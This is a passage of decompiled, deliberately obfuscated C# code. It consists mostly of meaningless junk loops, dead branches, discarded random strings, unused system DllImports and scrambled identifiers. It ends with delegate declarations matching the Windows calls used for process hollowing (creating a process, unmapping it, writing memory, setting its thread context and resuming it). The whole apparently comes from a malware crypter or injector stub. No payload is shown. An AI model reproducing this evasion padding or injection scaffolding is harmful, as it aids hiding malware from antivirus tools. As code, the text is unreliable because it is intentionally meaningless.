{
|
|
if (false)
|
|
return;
|
|
if (false)
|
|
;
|
|
if (true)
|
|
{
|
|
if (true)
|
|
;
|
|
}
|
|
}
|
|
|
|
public delegate uint je();
|
|
|
|
public class Ê
|
|
{
|
|
private uint nwÕÁ;
|
|
private sbyte Ð7;
|
|
private float piÒ7;
|
|
private double e;
|
|
private float µp1ß;
|
|
|
|
public Ê()
|
|
{
|
|
this.nwÕÁ = 1283629720U;
|
|
this.piÒ7 = 0.0f;
|
|
this.e = 24899.6718;
|
|
this.µp1ß = -27629.0449f;
|
|
}
|
|
|
|
public ushort ÙÔÝ(string Ç1, Decimal Þ, sbyte Æ2)
|
|
{
|
|
DateTime now = DateTime.Now;
|
|
return 16531;
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ÃjÈ4iÐ
|
|
{
|
|
private ulong tÉ;
|
|
|
|
[DebuggerNonUserCode]
|
|
public ÃjÈ4iÐ()
|
|
{
|
|
}
|
|
|
|
public void ÓÃ9()
|
|
{
|
|
int num = 16;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 105);
|
|
}
|
|
|
|
public void ÿ4jo(ushort Ñja2j, string Õ5Â)
|
|
{
|
|
int num = 17;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 120);
|
|
if (true)
|
|
;
|
|
}
|
|
|
|
public class ÄsÐ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÄsÐ()
|
|
{
|
|
}
|
|
|
|
[DllImport("mqrt", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern float ÞbÄÒo(uint tÃ);
|
|
|
|
public class Èv5É
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Èv5É()
|
|
{
|
|
}
|
|
|
|
public class ºÙ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ºÙ()
|
|
{
|
|
}
|
|
|
|
[DllImport("xolehlp", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void idÊÍ1(long Êßr, Decimal ÑͺÑÏk);
|
|
|
|
public sbyte xÅÆÂÐ(
|
|
DateTime ºÉÃÔÕx,
|
|
short eyqp0,
|
|
double ÇÁÒ,
|
|
float Ävf,
|
|
Decimal jdØ)
|
|
{
|
|
string str = "TfPJT3U~d";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
return 114;
|
|
}
|
|
|
|
public ulong dm(ulong nßbÓ, ulong z4Ý0_)
|
|
{
|
|
bool flag = true;
|
|
if (false)
|
|
;
|
|
if (flag)
|
|
{
|
|
int num1 = 1;
|
|
do
|
|
{
|
|
byte num2 = 8;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= (byte) 22);
|
|
++num1;
|
|
}
|
|
while (num1 <= 45);
|
|
string str = ".{P)nM'yk";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
return 1096881338;
|
|
}
|
|
|
|
public int Õ(double g2)
|
|
{
|
|
if (true)
|
|
{
|
|
ushort num1 = 10;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= (ushort) 105);
|
|
ulong num2 = 9;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 43UL);
|
|
Decimal limit = 34M;
|
|
Decimal num3 = 15M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num3, limit, 1M))
|
|
num3 = Decimal.Add(num3, 1M);
|
|
if (false)
|
|
;
|
|
sbyte num4 = 14;
|
|
do
|
|
{
|
|
++num4;
|
|
}
|
|
while (num4 <= (sbyte) 83);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
public delegate void ËÝ(byte ÌdaØ);
|
|
}
|
|
|
|
public class umb4
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public umb4()
|
|
{
|
|
}
|
|
|
|
public class ÊkÊ7u
|
|
{
|
|
private DateTime ËÕÎ4;
|
|
|
|
public ÊkÊ7u() => this.ËÕÎ4 = DateTime.Now;
|
|
|
|
[DllImport("oleacc", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern Decimal Åv(
|
|
bool l,
|
|
float Þm,
|
|
DateTime ÄÎØÜ,
|
|
int nv);
|
|
|
|
public void dÒÅ(DateTime s5ÚÎu)
|
|
{
|
|
string str1 = "t)[j1ai'4";
|
|
int index1 = 0;
|
|
for (int length1 = str1.Length; index1 < length1; ++index1)
|
|
{
|
|
char ch1 = str1[index1];
|
|
if (true)
|
|
;
|
|
byte num = 2;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= (byte) 79);
|
|
string str2 = "xn5}!d(,R3";
|
|
int index2 = 0;
|
|
for (int length2 = str2.Length; index2 < length2; ++index2)
|
|
{
|
|
char ch2 = str2[index2];
|
|
}
|
|
}
|
|
string str3 = "m#f.";
|
|
int index3 = 0;
|
|
for (int length = str3.Length; index3 < length; ++index3)
|
|
{
|
|
char ch = str3[index3];
|
|
if (false)
|
|
;
|
|
}
|
|
}
|
|
|
|
public class Ç2s
|
|
{
|
|
private Decimal kÍÝ_;
|
|
|
|
public Ç2s() => this.kÍÝ_ = 978739855M;
|
|
|
|
public void su63Üe(
|
|
short kkÎwË,
|
|
string uÑ3m,
|
|
bool e15À,
|
|
double ÃÏ)
|
|
{
|
|
uint num = 11;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 72U);
|
|
}
|
|
|
|
public class ÓÐÐdaÖ
|
|
{
|
|
private string Òµpÿn;
|
|
private string ÎÂ;
|
|
private long oÒ;
|
|
|
|
public ÓÐÐdaÖ()
|
|
{
|
|
this.Òµpÿn = "U,6_5";
|
|
this.oÒ = -174879108L;
|
|
}
|
|
|
|
public class s69erÂ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public s69erÂ()
|
|
{
|
|
}
|
|
|
|
public void gja(DateTime Èßk)
|
|
{
|
|
if (true)
|
|
;
|
|
}
|
|
}
|
|
|
|
public delegate int nede(
|
|
Decimal bÿÅs,
|
|
DateTime duÙ,
|
|
ulong q5È5_a);
|
|
|
|
public delegate double ÿb8Ñ68(short Êqp, double Ør);
|
|
|
|
public class gÑÒxÀÝ
|
|
{
|
|
private ushort aÂÅÖ;
|
|
|
|
public gÑÒxÀÝ() => this.aÂÅÖ = (ushort) 7582;
|
|
|
|
public sbyte ÕÓ7ÐfØ(uint hÞuÇÖ, short ÝnÇËg)
|
|
{
|
|
float num = 18f;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while ((double) num <= 93.0);
|
|
return -2;
|
|
}
|
|
|
|
public void r032Óx(long vµ5)
|
|
{
|
|
string str = "2.Fj-o=6";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
|
|
public class ÿÂ4µgÜ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÿÂ4µgÜ()
|
|
{
|
|
}
|
|
|
|
public byte ÒÓÄ()
|
|
{
|
|
short num = 18;
|
|
do
|
|
{
|
|
if (false)
|
|
;
|
|
++num;
|
|
}
|
|
while (num <= (short) 81);
|
|
return 173;
|
|
}
|
|
|
|
public class ßzv
|
|
{
|
|
private string vbc;
|
|
|
|
public ßzv() => this.vbc = "'%~o";
|
|
|
|
public double ÙÑÓÕ1Ó(
|
|
double iµm,
|
|
byte ÞÇÂ,
|
|
DateTime Ù7,
|
|
string Ä6)
|
|
{
|
|
Decimal limit = 107M;
|
|
for (Decimal num = 11M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M); num = Decimal.Add(num, 1M))
|
|
{
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
return -3448.48;
|
|
}
|
|
|
|
[DllImport("netapi32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern string ÔtßÞ(
|
|
double ÊÓÜ,
|
|
bool Ó2_,
|
|
double eÝem4,
|
|
bool ÇËÞÆ);
|
|
|
|
public Decimal kylafv(string ÏpÛrÅa)
|
|
{
|
|
if (true)
|
|
{
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
int num1 = 2;
|
|
do
|
|
{
|
|
float num2 = 17f;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while ((double) num2 <= 82.0);
|
|
++num1;
|
|
}
|
|
while (num1 <= 125);
|
|
}
|
|
return -48773681M;
|
|
}
|
|
|
|
public class ÓÑßÚc
|
|
{
|
|
private ulong cqÃÔÑÄ;
|
|
|
|
public ÓÑßÚc() => this.cqÃÔÑÄ = 306013183UL;
|
|
|
|
[DllImport("hhctrl", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern sbyte ÄÂÂÀ(sbyte dts);
|
|
|
|
public delegate byte ÕqÓ0Ú(
|
|
uint ÑÌr,
|
|
Decimal ÅÜÒ1,
|
|
sbyte ÏÞaÔhw,
|
|
DateTime nÓ6);
|
|
}
|
|
|
|
public class aßo
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public aßo()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public class q
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public q()
|
|
{
|
|
}
|
|
}
|
|
|
|
public delegate void ÁÌÉËÇ(
|
|
byte ßoµØÛÒ,
|
|
double Ç,
|
|
long vÒÊe,
|
|
short s7f73Å,
|
|
sbyte jÔkpuÂ);
|
|
}
|
|
}
|
|
|
|
public class ÿd
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÿd()
|
|
{
|
|
}
|
|
}
|
|
|
|
public delegate void ÝÉvnÛa(string s8È3Âv);
|
|
|
|
public class krÛt
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public krÛt()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate ulong a0Ö(
|
|
Decimal dmÕÍb,
|
|
ushort Ý8pÀ2,
|
|
uint ÀßÌ,
|
|
Decimal ÔdsÜ,
|
|
string ÆÚÀÑcÈ);
|
|
}
|
|
|
|
public delegate void ÀÞÏu();
|
|
|
|
public delegate void ÍÞß1(
|
|
byte bÉ,
|
|
sbyte jÅÆt,
|
|
DateTime Ä,
|
|
sbyte pÕ_2,
|
|
double Á);
|
|
}
|
|
}
|
|
}
|
|
|
|
public class gÒ2ßÈ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public gÒ2ßÈ()
|
|
{
|
|
}
|
|
}
|
|
|
|
public class zÜÒÃi
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public zÜÒÃi()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ÁklË
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÁklË()
|
|
{
|
|
}
|
|
}
|
|
|
|
public delegate void kb();
|
|
|
|
public class Í
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Í()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ØÁÀÑÕ2
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ØÁÀÑÕ2()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ÀbÃØÈØ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÀbÃØÈØ()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public class x
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public x()
|
|
{
|
|
}
|
|
}
|
|
|
|
public delegate DateTime ÁÃnx(bool Òt);
|
|
}
|
|
|
|
public delegate void dÌ1e(bool bg4, long ÑÉ, float Âÿ);
|
|
|
|
public class Özj
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Özj()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ǵ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ǵ()
|
|
{
|
|
}
|
|
}
|
|
|
|
public class qbÉÃÕ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public qbÉÃÕ()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public class xµ3jhr
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public xµ3jhr()
|
|
{
|
|
}
|
|
}
|
|
|
|
public class ÝqvÝ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÝqvÝ()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ÛÌÍÍ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÛÌÍÍ()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public class ÄidÅÊ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÄidÅÊ()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate DateTime sÿhÂb(uint ÒxrhØ, float jeß);
|
|
|
|
public delegate void Ó4o6Ü(sbyte ÐÃm, string º5ÿÇ);
|
|
|
|
public class Ñ4vÿ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Ñ4vÿ()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate bool paÉØop(long ÍÃ5yl, int pb, ulong eÁÜÑÕ, bool zÙ9º);
|
|
|
|
public class Í8Ë
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Í8Ë()
|
|
{
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate void ÏÌcËÈÝ(ulong Î6b);
|
|
|
|
public delegate ushort ßnuxs6(string Ö, short É6h);
|
|
|
|
public delegate bool yÝÆbl(
|
|
string ÿеÚÌ2,
|
|
string qÂ,
|
|
IntPtr h,
|
|
IntPtr ÎÌÆ8,
|
|
bool edÇ,
|
|
int ÏÒÂko9,
|
|
IntPtr Öºßi,
|
|
string ÝzÌ,
|
|
byte[] Ä2Õlu,
|
|
IntPtr[] ÖÔ);
|
|
|
|
public delegate bool nØ(IntPtr ÿеÚÌ2, uint[] qÂ);
|
|
|
|
public delegate uint ÉÉr(IntPtr ÿеÚÌ2, IntPtr qÂ);
|
|
|
|
public delegate bool w_zzÛ(IntPtr ÿеÚÌ2, IntPtr qÂ, byte[] h, IntPtr ÎÌÆ8, ref IntPtr edÇ);
|
|
|
|
public delegate bool cÈØ(IntPtr ÿеÚÌ2, IntPtr qÂ, ref IntPtr h, IntPtr ÎÌÆ8, ref IntPtr edÇ);
|
|
|
|
public delegate int ßu5jÆy(IntPtr ÿеÚÌ2);
|
|
|
|
public delegate IntPtr mÎhÄÀa(IntPtr ÿеÚÌ2, IntPtr qÂ, IntPtr h, int ÎÌÆ8, int edÇ);
|
|
}
|